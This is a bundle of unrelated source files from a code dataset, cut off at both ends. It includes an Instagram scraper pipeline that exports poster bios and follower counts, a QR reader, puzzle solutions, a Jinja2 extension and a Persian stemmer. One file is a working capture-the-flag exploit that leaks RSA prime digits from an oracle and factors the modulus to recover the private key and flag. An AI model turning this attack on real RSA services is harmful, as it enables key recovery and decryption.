`{}` ( {} ) VALUES ( {} ) ON DUPLICATE KEY UPDATE {}'\n            on_duplicate_placeholders = lambda d: ', '.join(['`{}` = %s'.format(k) for k in d])\n            return (\n                sql_template.format(\n                    self.table, columns(data),\n                    placeholders(data), on_duplicate_placeholders(data)\n                ),\n                values(data) + values(data)\n            )\n        else:\n            sql_template = 'INSERT INTO `{}` ( {} ) VALUES ( {} )'\n            return (\n                sql_template.format(self.table, columns(data), placeholders(data)),\n                values(data)\n            )\n\n    def _process_item(self, tx, row):\n        if row['id'] == 'dummy':\n            try:\n                # Mark parent done\n                tx.execute(row['mark_parent_done_sql'], [])\n                return\n            except Exception:\n                logger.error(\"Mark done SQL: %s\", row['mark_parent_done_sql'])\n                raise\n        \n        # Insert or update data in database\n        sql, data = self._generate_sql(row)\n        try:\n            tx.execute(sql, data)\n\n        except Exception:\n            logger.error(\"SQL: %s\", sql)\n            # logger.error(\"SQL: %s\", upsql)\n            raise\n        self.stats.inc_value('{}/saved'.format(self.stats_name))\n\n\nclass PrintPipeline(object):\n    def process_item(self, item, spider):\n        print(\"+++++++++++++++++++++++\")\n        print(\"hello world\")\n        print(item['image_location'])\n        print(item['image_caption'])\n        print(item['image_comment_count'])\n        print(item['image_liked_count'])\n        print(item['image_date_posted'])\n        print(item['image_top_color'])\n        print(item['owner_follow_count'])\n        print(item['owner_bio'])\n        print(item['owner_engagement_rate'])\n        return item\n  \n\nclass CsvPipeline(object):\n    def __init__(self):\n        self.file = open(\"result.csv\", 'wb')\n        self.exporter = CsvItemExporter(self.file)\n        EXPORT_FIELDS = [\n            'image_location',\n            'image_caption',\n            'image_comment_count',\n            'image_liked_count',\n            'image_date_posted',\n            'image_top_color',\n            'owner_follow_count',\n            'owner_bio',\n            'owner_engagement_rate',\n        ]\n                \n        self.exporter.fields_to_export = EXPORT_FIELDS\n        self.exporter.start_exporting()\n \n    def close_spider(self, spider):\n        self.exporter.finish_exporting()\n        self.file.close()\n \n    def process_item(self, item, spider):\n        self.exporter.export_item(item)\n        return item\n\nclass AnotherCsvPipeline(object):\n    \n    @classmethod\n    def from_crawler(cls, crawler):\n        return cls(crawler)\n\n    def __init__(self, crawler):\n        self.stats = crawler.stats\n        self.stats.set_value('done', 0)\n        self.file = open('scraped_items.csv', 'w', encoding='utf-8')\n        self.csvwriter = csv.writer(self.file)\n        self.csvwriter.writerow(\n            [\n                'Post Caption',\n                'Post Comments',\n                'Time Taken',\n                'Post Likes',\n                'Main Color',\n                'Location',\n                'Poster Follwer Count',\n                'Poster Bio',\n                'Average Engagement Rate of Posters Last Four Post',\n            ]\n        )\n    \n    def close_spider(self, spider):\n        self.file.close()\n \n    def process_item(self, item, spider):\n        self.stats.inc_value('done')\n        logging.info(\"Got {} results\".format(self.stats.get_value('done')))\n        self.csvwriter.writerow(\n            [\n                item['image_caption'],\n                item['image_comment_count'],\n                item['image_date_posted'],\n                item['image_liked_count'],\n                item['image_top_color'],\n                item['image_location'],\n                item['owner_follow_count'],\n                item['owner_bio'],\n                item['owner_engagement_rate'],\n            ]\n        )\n        return item","repo_name":"etuannv/instagram_photo_scraper","sub_path":"datascraper/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":8556,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"40891395262","text":"import cv2\nimport pyzbar.pyzbar as pyzbar\n\n\ndef read_image(image_path):\n    image = cv2.imread(image_path)\n    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    return gray\n\n\ndef find_qrs(gray_image):\n    return pyzbar.decode(gray_image)\n\n\ndef draw_qrs(image, qrs):\n    for qr in qrs:\n        (x, y, w, h) = qr.rect\n        cv2.rectangle(image, (x, y), (x + w, y + h), (0, 0, 255), 2)\n        qrData = qr.data.decode(\"utf-8\")\n        qrType = qr.type\n        text = \"{} ({})\".format(qrData, qrType)\n        cv2.putText(image, text, (x, y - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2)\n\n    return image\n\n\ndef main():\n    image_path = r\"../../Documents/GitHub/Challenges/zebr.png\"\n    gray_image = read_image(image_path)\n    qrs = find_qrs(gray_image)\n    print(qrs)\n\n    image_with_qrs = draw_qrs(cv2.imread(image_path), qrs)\n\n    cv2.imshow(\"Image\", image_with_qrs)\n    cv2.waitKey(0)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"0dayMonkey/Challenges","sub_path":"Challenge Stegano Zebra.py","file_name":"Challenge Stegano Zebra.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25801025023","text":"\"\"\"Hackerrank Problem: https://www.hackerrank.com/challenges/equal-stacks/problem\n\nYou have three stacks of cylinders where each cylinder has the same diameter, but they may vary in height. You can\nchange the height of a stack by removing and discarding its topmost cylinder any number of times.\n\nFind the maximum possible height of the stacks such that all of the stacks are exactly the same height. This means you\nmust remove zero or more cylinders from the top of zero or more of the three stacks until they're all the same height,\nthen print the height. The removals must be performed in such a way as to maximize the height.\n\nNote: An empty stack is still a stack.\n\"\"\"\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n\n#\n# Complete the 'equalStacks' function below.\n#\n# The function is expected to return an INTEGER.\n# The function accepts following parameters:\n#  1. INTEGER_ARRAY h1\n#  2. INTEGER_ARRAY h2\n#  3. INTEGER_ARRAY h3\n#\ndef equal_stacks(h1, h2, h3):\n    \"\"\"Compare three stacks of cylinders and return the maximum possible height of the stacks such that all of the\n    stacks are exactly the same height\n\n    Solve:\n        For this, we can use a dictionary, and store the \"heights\" of the stacks as the key with the value being a list\n        that the stack will append to as we iterate through each possible sum for each stack.  By doing this, we can then\n        simply look for the height key that has a list of length 3, as that will be the highest maximum sum\n\n    Args:\n        h1 (list): list of integers in stack 1\n        h2 (list): list of integers in stack 2\n        h3 (list): list of integers in stack 3\n\n    Returns:\n        (int): The maximum possible height of the stacks where all have the same height\n    \"\"\"\n    sums = {}\n    s = 0\n    for i in reversed(h1):\n        s += i\n        sums[s] = [1]\n    s = 0\n    for i in reversed(h2):\n        s += i\n        if s in sums:\n            sums[s].append(1)\n    s = 0\n    for i in reversed(h3):\n        s += i\n        if s in sums:\n            sums[s].append(1)\n    largest = 0\n    for i in sums:\n        if len(sums[i]) == 3 and i > largest:\n            largest = i\n    return largest\n\n\nif __name__ == '__main__':\n    fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n    first_multiple_input = input().rstrip().split()\n\n    n1 = int(first_multiple_input[0])\n\n    n2 = int(first_multiple_input[1])\n\n    n3 = int(first_multiple_input[2])\n\n    h1 = list(map(int, input().rstrip().split()))\n\n    h2 = list(map(int, input().rstrip().split()))\n\n    h3 = list(map(int, input().rstrip().split()))\n\n    result = equal_stacks(h1, h2, h3)\n\n    fptr.write(str(result) + '\\n')\n\n    fptr.close()\n","repo_name":"kcc3/hackerrank-solutions","sub_path":"data_structures/python/stacks/equal_stacks.py","file_name":"equal_stacks.py","file_ext":"py","file_size_in_byte":2669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26708991476","text":"import sympy\nimport sys\nfrom pwn import *\nimport logging\nfrom itertools import product\nimport random\nsys.setrecursionlimit(10000)\npr = process(['python3', 'regulus-calendula.py'])\npr.recvuntil(\": \")\npr.sendline(\"2\")\npr.recvuntil(\" = \")\nn = int(pr.recvline().strip().decode('utf-8'))\np1 = []\nfor i in range(8):\n    pr.recvuntil(\": \")\n    pr.sendline(\"4\")\n    pr.recvuntil(\": \")\n    pr.sendline(hex(i)[2:]*1024)\n    p1.append(pr.recvline().strip().decode(\"utf-8\"))\np2 = [\" \"]*1024\nfor i in range(8):\n    for s in range(1024):\n        if p1[i][s]==\"1\":\n            p2[s]=hex(i)[2:]\nq1 = []\nfor i in range(8):\n    pr.recvuntil(\": \")\n    pr.sendline(\"4\")\n    pr.recvuntil(\": \")\n    pr.sendline(hex(i)[2:]*1024)\n    q1.append(pr.recvline().strip().decode(\"utf-8\"))\nq2 = [\" \"]*1024\nfor i in range(8):\n    for s in range(1024):\n        if q1[i][s]==\"1\":\n            q2[s]=hex(i)[2:]\ndef _int_to_bits(i, count): #script stolen from https://github.com/jvdsn/crypto-attacks/blob/master/factorization/branch_and_prune.py\n    bits = []\n    for _ in range(count):\n        bits.append(i & 1)\n        i >>= 1\n    return bits\ndef _bits_to_int(bits, count):\n    i = 0\n    for k in range(count):\n        i |= (bits[k] & 1) << k\n    return i\ndef _tau(x):\n    i = 0\n    while x % 2 == 0:\n        x //= 2\n        i += 1\n    return i\ndef _find_k(n, e, d_bits):\n    best_match_count = 0\n    best_k = None\n    best_d__bits = None\n    for k in range(1, e):\n        d_ = (k * (n + 1) + 1) // e\n        d__bits = _int_to_bits(d_, len(d_bits))\n        match_count = 0\n        for i in range(len(d_bits) // 2 - 2):\n            if d_bits[-(i + 1)] == d__bits[-(i + 1)]:\n                match_count += 1\n        if match_count > best_match_count:\n            best_match_count = match_count\n            best_k = k\n            best_d__bits = d__bits\n    return best_k, best_d__bits\ndef _correct_msb(d_bits, d__bits):\n    for i in range(len(d_bits) // 2 - 2):\n        d_bits[-(i + 1)] = d__bits[-(i + 1)]\ndef _correct_lsb(e, d_bits, exp):\n    inv = pow(e, -1, 2 ** exp)\n    for i in range(exp):\n        d_bits[i] = (inv >> i) & 1\ndef _branch_and_prune_pq(n, p, q, i):\n    p_ = _bits_to_int(p, i)\n    q_ = _bits_to_int(q, i)\n    if i == len(p) or i == len(q):\n        yield p_, q_\n    else:\n        c1 = ((n - p_ * q_) >> i) & 1\n        p_prev = p[i]\n        q_prev = q[i]\n        p_possible = [0, 1] if p_prev is None else [p_prev]\n        q_possible = [0, 1] if q_prev is None else [q_prev]\n        for p_bit, q_bit in product(p_possible, q_possible):\n            if (p_bit+q_bit)%2 == c1:\n                p[i] = p_bit\n                q[i] = q_bit\n                yield from _branch_and_prune_pq(n, p, q, i + 1)\n\n        p[i] = p_prev\n        q[i] = q_prev\n\ndef factorize_pq(n, p_bits, q_bits):\n    assert len(p_bits) == len(q_bits), \"p and q bits should be of equal length.\"\n    p_bits = p_bits[::-1]\n    q_bits = q_bits[::-1]\n    p_bits[0] = 1\n    q_bits[0] = 1\n    for p, q in _branch_and_prune_pq(n, p_bits, q_bits, 1):\n        if p * q == n:\n            return [int(p), int(q)]\np3 = []\nfor i in p2:\n    if i==' ':\n        p3.extend([1,None,None,None])\n    else:\n        p3.extend([int(j) for j in list(bin(int(i))[2:].zfill(4))])\nq3 = []\nfor i in q2:\n    if i==' ':\n        q3.extend([1,None,None,None])\n    else:\n        q3.extend([int(j) for j in list(bin(int(i))[2:].zfill(4))])\nret = factorize_pq(n,p3,q3)\np = ret[0]\nq = ret[1]\nd = sympy.mod_inverse(65537,(p-1)*(q-1))\npr.recvuntil(\": \")\npr.sendline(\"3\")\npr.recvuntil(\": \")\npr.sendline(str(d))\npr.recvline()\nprint(pr.recvuntil(\"}\").strip().decode(\"utf-8\")[2:])","repo_name":"hsncsclub/hsctf-8-challenges","sub_path":"crypto/Regulus-calendula/challenge/soln.py","file_name":"soln.py","file_ext":"py","file_size_in_byte":3585,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"}
+{"seq_id":"18018236495","text":"from ast import parse\nfrom jinja2.ext import Extension\nimport jinja2\nfrom jinja2 import Template, StrictUndefined, DebugUndefined\nfrom jinja2.lexer import Token\n\nt1 = Template(open('sample_1.j2').read(), undefined=DebugUndefined)\ns1 = t1.render(a='a', b='b', c=[1, 2])\nprint('------------------------')\nprint(s1)\nprint('------------------------')\n\ns1 = t1.render()\nprint(s1)\n\nfrom jinja2.ext import Extension\nfrom jinja2.parser import Parser\nfrom jinja2 import nodes\n\nclass PreserveExtension(Extension):\n\n  \"\"\"\n  Example Input:\n\n    this is plain text\n    {%- preserve %}\n    this is plain text\n    {{ a }}\n    {%- if b %}{{ b }}{% endif -%}\n    {% for i in c -%}\n      {{ i }}\n    {%- endfor %}\n    {%- endpreserve %}\n\n  Example Output:\n\n    this is plain text\n    this is plain text\n    {{ a }}{%- if b %} {{ b }} {% endif -%}\n    {% for i in c -%}\n      {{ i }}{%- endfor %}\n  \"\"\"\n\n  # a set of names that trigger the extension.\n  tags = {\"preserve\"}\n\n  def parse(self, parser: Parser):\n    lineno = parser.stream.current.lineno\n    parser.parse_expression()\n    parser.stream.skip()\n    body = []\n    raw = []\n    def flush():\n      nonlocal raw\n      nonlocal body\n      node = nodes.TemplateData(''.join(map(str, raw)))\n      body.append(node)\n      raw = []\n\n    while True:\n      t: Token = next(parser.stream)\n      if t.lineno != lineno:\n        flush()\n        lineno = t.lineno\n      test = t.test('name:endpreserve')\n      if test:\n        raw.pop(-1)\n        break\n\n      if t.type not in ('variable_begin', 'block_begin', 'comma'):\n        raw.append(' ')\n      if t.type in ('string',):\n        raw.append(f'\"{t.value}\"')\n      else:\n        raw.append(t.value)\n    if raw:\n      flush()\n    return body\n\nt1 = Template(open('sample_2.j2').read(), extensions=[PreserveExtension])\ns1 = t1.render(a='a', b='b', c=[1, 2])\nprint('------------------------')\nprint(s1)\nprint('------------------------')\n\nt1 = Template(s1)\ns1 = t1.render(a='a', b='b', c=[1, 2])\nprint('------------------------')\nprint(s1)\nprint('------------------------')\n","repo_name":"matutter/jinja2-preserve","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2844387651","text":"import math\nimport numpy as np\nfrom Chapter5.IntegrationMethods import trapezoidal_rule, simpsons_rule\n\n\ndef f(x):\n    return (x ** 4) - (2 * x) + 1\n\n\na, b = 0, 1\nN = 1\nacc = 1e-10\nreal_value = 4.4\n\nerror, steps = trapezoidal_rule(f, a, b, N, approx_error=False, adaptive=[True, acc])\nerror2, steps2 = simpsons_rule(f, a, b, N, approx_error=False, adaptive=[True, acc])\n\n\nprint(f\"Final error that terminated the trapezoidal algorithm: {error} and required\"\n      f\" acurracy: {acc}. \\nDifference: {error - acc}\")\nprint(f\"Amount of steps required: {steps}\")\n\nestimate = trapezoidal_rule(f, a, b, steps)\nprint(f\"Estimation with {steps} steps: {estimate}. The difference from real value is:\"\n      f\" {abs(real_value - estimate)}.\")\n\nprint(\"\\n#############Simpsons##################\")\nprint(f\"Final error that terminated the Simpsons algorithm: {error2} and required\"\n      f\" acurracy: {acc}. \\nDifference: {error2 - acc}\")\nprint(f\"Amount of steps required: {steps2}\")\n\nestimate2 = simpsons_rule(f, a, b, steps)\nprint(f\"Estimation with {steps2} steps: {estimate2}. The difference from real value is:\"\n      f\" {abs(real_value - estimate2)}.\")","repo_name":"christospliakos/ComputationPhysicsNewman","sub_path":"Chapter5/Examples/testing_adaptive.py","file_name":"testing_adaptive.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37345294516","text":"from skeleton import n, vect\n\ndef min_val():\n    assert n >= 0\n    cost = [None]*(n+1)\n    cost_alone = [None]*(n+1)\n    cost_coupled = [None]*(n+1)\n    cost[n] = 0\n    cost[n-1] = abs( vect[n-1] )\n    for i in reversed( range(n-1) ):\n        cost_alone[i] = abs(vect[i]) + cost[i+1]\n        cost_coupled[i] = abs( vect[i] - vect[i+1] ) + cost[i+2]\n        cost[i] = min( cost_alone[i], cost_coupled[i] )\n    return cost[0]    \n","repo_name":"romeorizzi/turingarena-algo","sub_path":"onetwo-silly-programmazione-dinamica/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"42348982523","text":"import pickle\n\nnounLexPath = \"Resources/Stemmer/Modified/noun_lexicon.pickle\"\n# nounLexPath = \"Resources/Stemmer/stem_lex.pckl\"\n# verbLexPath = \"Resources/Stemmer/verbStemDict.pckl\"\nverbLexPath = \"Resources/Stemmer/Modified/verb_lexicon.pickle\"\nverbTenseMapPath = \"Resources/Stemmer/Modified/verb_tense_map.pickle\"\n# verbTenseMapPath = \"Resources/Stemmer/stem_verbMap.pckl\"\nirregularNounsPath = \"Resources/Stemmer/Modified/irregular_nouns.pickle\"\nprefixListPath = \"Resources/Stemmer/Modified/prefix.txt\"\npostfixListPath = \"Resources/Stemmer/pasvand.txt\"\nverbTensePath = \"Resources/Stemmer/verb_tense.txt\"\npluralsPath = \"Resources/Stemmer/mokasar.txt\"\n\nnounLexicon = None\nverbLexicon = None\nverbTenseMap = None\nirregularNouns = None\nprefixList = None\npostfixList = None\nverbF2P = None\nverbP2F = None\n\n\ndef loadPickleFile(path):\n    file = open(path, 'rb')\n    variable = pickle.load(file)\n    file.close()\n    return variable\n\n\ndef loadFiles():\n    global nounLexicon, verbLexicon, verbTenseMap, irregularNouns\n    global prefixList, postfixList\n    global verbF2P, verbP2F\n\n    nounLexicon = loadPickleFile(nounLexPath)\n    verbLexicon = loadPickleFile(verbLexPath)\n    verbTenseMap = loadPickleFile(verbTenseMapPath)\n    irregularNouns = loadPickleFile(irregularNounsPath)\n\n    verbF2P, verbP2F = verbTenseMap[1], verbTenseMap[0]\n\n    prefixList = set({})\n    with open(prefixListPath, \"r\", encoding='utf-8') as file:\n        content = file.readlines()\n        for element in content:\n            prefixList.add(element.strip())\n\n    postfixList = set({})\n    with open(postfixListPath, \"r\", encoding='utf-8') as file:\n        content = file.readlines()\n        for element in content:\n            postfixList.add(element.strip())\n\n\ndef getStemmedNoun(word):\n    if word in irregularNouns:\n        return irregularNouns[word]\n    else:\n        return word\n\n\ndef isPrefix(word, prefix):\n    word = word.strip(\"\\u200c\")\n    return word.startswith(prefix)\n\n\ndef isPostfix(word, post):\n    word = word.strip(\"\\u200c\")\n    return word.endswith(post)\n\n\ndef removePrefixes(word, prefix):\n    word = word.strip(\"\\u200c\")\n    candidateStem = set({})\n    for element in prefix:\n        if word.startswith(element):\n            if len(element) > 0:\n                tmp = word[len(element):].strip().strip('\\u200c')\n            else:\n                tmp = word\n            candidateStem.add(tmp)\n    return candidateStem\n\n\ndef removePostfixes(word, postfix):\n    word = word.strip(\"\\u200c\")\n    candidateStem = set({})\n    for element in postfix:\n        if word.endswith(element):\n            if len(element) > 0:\n                tmp = word[:-len(element)].strip().strip('\\u200c')\n            else:\n                tmp = word\n            candidateStem.add(tmp)\n    return candidateStem\n\n\ndef selectShortest(list):\n    if list.__len__() == 0:\n        return \"\"\n\n    word = \"\"\n    length = 31807\n    for token in list:\n        if len(token) < length:\n            length = len(token)\n            word = token\n\n    return word\n\n\ndef selectLongestInLexicons(list, lexicons):\n    if list.__len__() == 0:\n        return \"\"\n\n    word = \"\"\n    length = 0\n    for token in list:\n        if len(token) > length and token in lexicons:\n            word = token\n            length = len(token)\n\n    return word\n\n\ndef checkIfVerb(word):\n    candidateList = removePrefixes(word, [\"داشتم\", \"داشتی\", \"داشت\",\n                                          \"داشتیم\", \"داشتید\", \"داشتند\"])\n    if len(candidateList) > 0:\n        new_word = selectShortest(candidateList)\n        candidateList = removePrefixes(new_word, [\"می\"])\n        if len(candidateList) > 0:\n            new_word = selectShortest(candidateList)\n            candidateList = removePostfixes(new_word, [\"یم\", \"ید\", \"ند\",\n                                                       \"م\", \"ی\", \"\"])\n            if len(candidateList) > 0:\n                new_word = selectLongestInLexicons(candidateList, verbLexicon)\n                if new_word:\n                    if new_word in verbP2F:\n                        stem = verbP2F[new_word]\n                        return stem, True\n\n    candidateList = removePrefixes(word, [\"دارم\", \"داری\", \"دارد\",\n                                          \"داریم\", \"دارید\", \"دارند\"])\n    if len(candidateList) > 0:\n        new_word = selectShortest(candidateList)\n        candidateList = removePrefixes(new_word, [\"می\"])\n        if len(candidateList) > 0:\n            new_word = selectShortest(candidateList)\n            candidateList = removePostfixes(new_word, [\"یم\", \"ید\", \"ند\",\n                                                       \"م\", \"ی\", \"د\"])\n            if len(candidateList) > 0:\n                new_word = selectLongestInLexicons(candidateList, verbLexicon)\n                if new_word:\n                    if new_word in verbF2P:\n                        stem = new_word\n                        return stem, True\n\n    candidateList = removePrefixes(word, [\"می\", \"نمی\", \"همی\"])\n    if len(candidateList) > 0:\n        new_word = selectShortest(candidateList)\n        candidateList = removePostfixes(new_word, [\"یم\", \"ید\", \"ند\",\n                                                   \"م\", \"ی\", \"د\"])\n        if len(candidateList) > 0:\n            new_word = selectLongestInLexicons(candidateList, verbLexicon)\n            if new_word:\n                if new_word in verbF2P:\n                    stem = new_word\n                    return stem, True\n\n    candidateList = removePrefixes(word, [\"می\", \"نمی\", \"همی\"])\n    if len(candidateList) > 0:\n        new_word = selectShortest(candidateList)\n        candidateList = removePostfixes(new_word, [\"یم\", \"ید\", \"ند\",\n                                                   \"م\", \"ی\", \"\"])\n        if len(candidateList) > 0:\n            new_word = selectLongestInLexicons(candidateList, verbLexicon)\n            if new_word:\n                if new_word in verbP2F:\n                    stem = verbP2F[new_word]\n                    return stem, True\n\n    candidateList = removePostfixes(word, [\"یم\", \"ید\", \"ند\",\n                                           \"م\", \"ی\", \"\"])\n    if len(candidateList) > 0:\n        new_word = selectShortest(candidateList)\n        candidateList = removePostfixes(new_word, [\"بود\", \"باشد\", \"باش\"])\n        if len(candidateList) > 0:\n            new_word = selectShortest(candidateList)\n            candidateList = removePostfixes(new_word, [\"ه\"])\n            if len(candidateList) > 0:\n                new_word = selectShortest(candidateList)\n                candidateList = removePrefixes(new_word, [\"ن\", \"\", \"ب\"])\n                if len(candidateList) > 0:\n                    new_word = selectLongestInLexicons(candidateList, verbLexicon)\n                    if new_word:\n                        if new_word in verbP2F:\n                            stem = verbP2F[new_word]\n                            return stem, True\n\n    candidateList = removePostfixes(word, [\"ام\", \"ای\", \"است\",\n                                           \"ایم\", \"اید\", \"اند\"])\n    if len(candidateList) > 0:\n        new_word = selectShortest(candidateList)\n        candidateList = removePostfixes(new_word, [\"ه\"])\n        if len(candidateList) > 0:\n            new_word = selectShortest(candidateList)\n            candidateList = removePrefixes(new_word, [\"ن\", \"\", \"ب\"])\n            if len(candidateList) > 0:\n                new_word = selectLongestInLexicons(candidateList, verbLexicon)\n                if new_word:\n                    if new_word in verbP2F:\n                        stem = verbP2F[new_word]\n                        return stem, True\n\n    candidateList = removePostfixes(word, [\"ام\", \"ای\", \"است\",\n                                           \"ایم\", \"اید\", \"اند\"])\n    if len(candidateList) > 0:\n        new_word = selectShortest(candidateList)\n        candidateList = removePostfixes(new_word, [\"ه\"])\n        if len(candidateList) > 0:\n            new_word = selectShortest(candidateList)\n            candidateList = removePostfixes(new_word, [\"بود\"])\n            if len(candidateList) > 0:\n                new_word = selectShortest(candidateList)\n                candidateList = removePostfixes(new_word, [\"ه\"])\n                if len(candidateList) > 0:\n                    new_word = selectShortest(candidateList)\n                    candidateList = removePrefixes(new_word, [\"ن\", \"\", \"ب\"])\n                    if len(candidateList) > 0:\n                        new_word = selectLongestInLexicons(new_word, verbLexicon)\n                        if new_word:\n                            if new_word in verbP2F:\n                                stem = verbP2F[new_word]\n                                return stem, True\n\n    candidateList = removePrefixes(word, [\"خواه\", \"نخواه\"])\n    if len(candidateList) > 0:\n        new_word = selectShortest(candidateList)\n        candidateList = removePrefixes(new_word, [\"یم\", \"ید\", \"ند\",\n                                                  \"م\", \"ی\", \"د\"])\n        if len(candidateList) > 0:\n            new_word = selectLongestInLexicons(candidateList, verbLexicon)\n            if new_word:\n                if new_word in verbP2F:\n                    stem = verbP2F[new_word]\n                    return stem, True\n\n    candidateList = removePrefixes(word, [\"ب\", \"ن\", \"\"])\n    if len(candidateList) > 0:\n        new_word = selectShortest(candidateList)\n        candidateList = removePostfixes(new_word, [\"یم\", \"ید\", \"ند\", \"م\",\n                                                   \"ی\", \"د\", \"\"])\n        if len(candidateList) > 0:\n            new_word = selectShortest(candidateList)\n            if (isPrefix(new_word, \"یا\")) and (new_word not in verbLexicon):\n                candidateList = removePrefixes(new_word, [\"یا\"])\n                new_word = selectShortest(candidateList)\n                new_word = \"آ\" + new_word\n            if isPostfix(new_word, \"آی\") or isPostfix(new_word, \"ای\"):\n                if new_word not in verbLexicon:\n                    candidateList = removePostfixes(new_word, [\"ی\"])\n                    new_word = selectShortest(candidateList)\n            if isPrefix(new_word, \"ی\"):\n                candidateList = removePrefixes(new_word, [\"ی\"])\n                tmp_word = selectShortest(candidateList)\n                if tmp_word and (\"ا\" + tmp_word) in verbLexicon:\n                    new_word = \"ا\" + tmp_word\n\n        if new_word and new_word in verbLexicon:\n            if new_word in verbF2P:\n                stem = new_word\n                return stem, True\n\n    candidateList = removePostfixes(word, [\"م\", \"ی\", \"\",\n                                           \"یم\", \"ید\", \"ند\"])\n    if len(candidateList) > 0:\n        new_word = selectShortest(candidateList)\n        candidateList = removePrefixes(new_word, [\"ن\", \"\", \"ب\"])\n        if len(candidateList) > 0:\n            new_word = selectLongestInLexicons(candidateList, verbLexicon)\n            if new_word:\n                if new_word in verbP2F:\n                    stem = verbP2F[new_word]\n                    return stem, True\n\n    candidateList = removePostfixes(word, [\"ن\", \"ب\"])\n    if len(candidateList) > 0:\n        new_word = selectLongestInLexicons(candidateList, verbLexicon)\n        if new_word:\n            if new_word in verbP2F:\n                stem = verbP2F[new_word]\n                return stem, True\n\n    return \"\", False\n\n\ndef checkIfNoun(word):\n    stemCandidate = word\n    candidateList = removePostfixes(word, [\"م\", \"ت\", \"ش\", \"یم\", \"یت\", \"یش\", \"ون\",\n                                           \"یتان\", \"یشان\", \"یمان\",\n                                           \"مان\", \"تان\", \"شان\", \"ان\"])\n    if len(candidateList) > 0:\n        stemCandidate = selectLongestInLexicons(candidateList, nounLexicon)\n        if stemCandidate:\n            newToken = stemCandidate\n        else:\n            newToken = selectShortest(candidateList)\n        stemCandidate = newToken\n    else:\n        newToken = stemCandidate\n\n    if newToken in nounLexicon:\n        return getStemmedNoun(newToken), True\n\n    candidateList = removePostfixes(word, [\"ها\", \"ات\", \"های\",\n                                           \"ان\", \"هایی\", \"ین\"])\n    if len(candidateList) > 0:\n        stemCandidate = selectLongestInLexicons(candidateList, nounLexicon)\n        if stemCandidate:\n            newToken = stemCandidate\n        else:\n            newToken = selectShortest(candidateList)\n        stemCandidate = newToken\n    else:\n        newToken = stemCandidate\n\n    if newToken in nounLexicon:\n        return getStemmedNoun(newToken), True\n\n    candidateList = removePostfixes(word, [\"گ\"])\n    if len(candidateList) > 0:\n        newToken = selectShortest(candidateList)\n        newToken = newToken + \"ه\"\n        stemCandidate = newToken\n    else:\n        newToken = stemCandidate\n\n    if newToken in nounLexicon:\n        return getStemmedNoun(newToken), True\n\n    candidateList = removePostfixes(word, postfixList)\n    if len(candidateList) > 0:\n        stemCandidate = selectLongestInLexicons(candidateList, nounLexicon)\n        if stemCandidate:\n            newToken = stemCandidate\n        else:\n            newToken = selectShortest(candidateList)\n        stemCandidate = newToken\n    else:\n        newToken = stemCandidate\n\n    if newToken in nounLexicon:\n        return getStemmedNoun(newToken), True\n\n    candidateList = removePrefixes(word, prefixList)\n    if len(candidateList) > 0:\n        stemCandidate = selectLongestInLexicons(candidateList, nounLexicon)\n        if stemCandidate:\n            newToken = stemCandidate\n        else:\n            newToken = selectShortest(candidateList)\n        stemCandidate = newToken\n    else:\n        newToken = stemCandidate\n\n    if newToken in nounLexicon:\n        return getStemmedNoun(newToken), True\n\n    return \"\", False\n\n\ndef checkIfPrefixedVerb(word):\n    candidateList = removePrefixes(word, ['در', 'بر', 'پر', 'باز',\n                                          'ور', 'فرو', 'فرا', 'وا'])\n\n    if len(candidateList) > 0:\n        newToken = selectShortest(candidateList)\n        if newToken:\n            stemmed, flag = checkIfVerb(newToken)\n            if flag:\n                return stemmed, True\n\n    return \"\", False\n\n\ndef checkIfNounTinSlam(word):\n    candidateList = removePrefixes(word, prefixList)\n    candidateList.add(word)\n\n    if word.endswith(\"گان\"):\n        candidateList.add(word[:-3] + \"ه\")\n\n    lengthiest = None\n    for candidate in candidateList:\n        if candidate in nounLexicon:\n            if lengthiest is None or len(candidate) > len(lengthiest):\n                lengthiest = candidate\n    if lengthiest is not None:\n        return lengthiest, True\n\n    tempList = set({})\n    for candidate in candidateList:\n        tempList |= removePostfixes(candidate, postfixList)\n    candidateList |= tempList\n\n    lengthiest = None\n    for candidate in candidateList:\n        if candidate in nounLexicon:\n            if lengthiest is None or len(candidate) > len(lengthiest):\n                lengthiest = candidate\n    if lengthiest is not None:\n        return lengthiest, True\n\n    tempList = set({})\n    for candidate in candidateList:\n        tempList |= removePostfixes(candidate, [\"م\", \"ت\", \"ش\", \"یم\", \"یت\", \"یش\",\n                                                \"یتان\", \"یشان\", \"یمان\",\n                                                \"مان\", \"تان\", \"شان\", \"ان\"])\n    candidateList |= tempList\n\n    lengthiest = None\n    for candidate in candidateList:\n        if candidate in nounLexicon:\n            if lengthiest is None or len(candidate) > len(lengthiest):\n                lengthiest = candidate\n    if lengthiest is not None:\n        return lengthiest, True\n\n    tempList = set({})\n    for candidate in candidateList:\n        tempList |= removePostfixes(candidate, [\"ها\", \"ات\", \"ون\",\n                                                \"ان\", \"های\", \"ین\"])\n    candidateList |= tempList\n\n    lengthiest = None\n    for candidate in candidateList:\n        if candidate in nounLexicon:\n            if lengthiest is None or len(candidate) > len(lengthiest):\n                lengthiest = candidate\n    if lengthiest is not None:\n        return lengthiest, True\n\n    return \"\", False\n\n\ndef stem(word):\n    notInNouns = True\n\n    if word in nounLexicon:     # in dic\n        notInNouns = False\n        temp = getStemmedNoun(word)\n        if temp != word:\n            return 